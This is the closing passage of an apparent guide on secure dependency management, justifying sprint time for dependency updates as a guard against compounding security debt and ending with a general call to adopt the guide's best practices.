When leadership asks why a development sprint includes time allocated to “dependency updates,” the answer is straightforward: the alternative is accumulating security debt that compounds over time, eventually requiring a costly emergency response when one of those un-patched components becomes a critical vector in a real attack.
Conclusion
Dependencies are both a boon and a potential liability in software development. While they enable rapid development and access to advanced functionality, poor management can expose applications to significant security risks.
By adopting the best practices outlined in this guide, developers can minimize risks and ensure their applications remain secure and reliable. Start managing your dependencies today with a focus on security to protect your projects and users from evolving threats.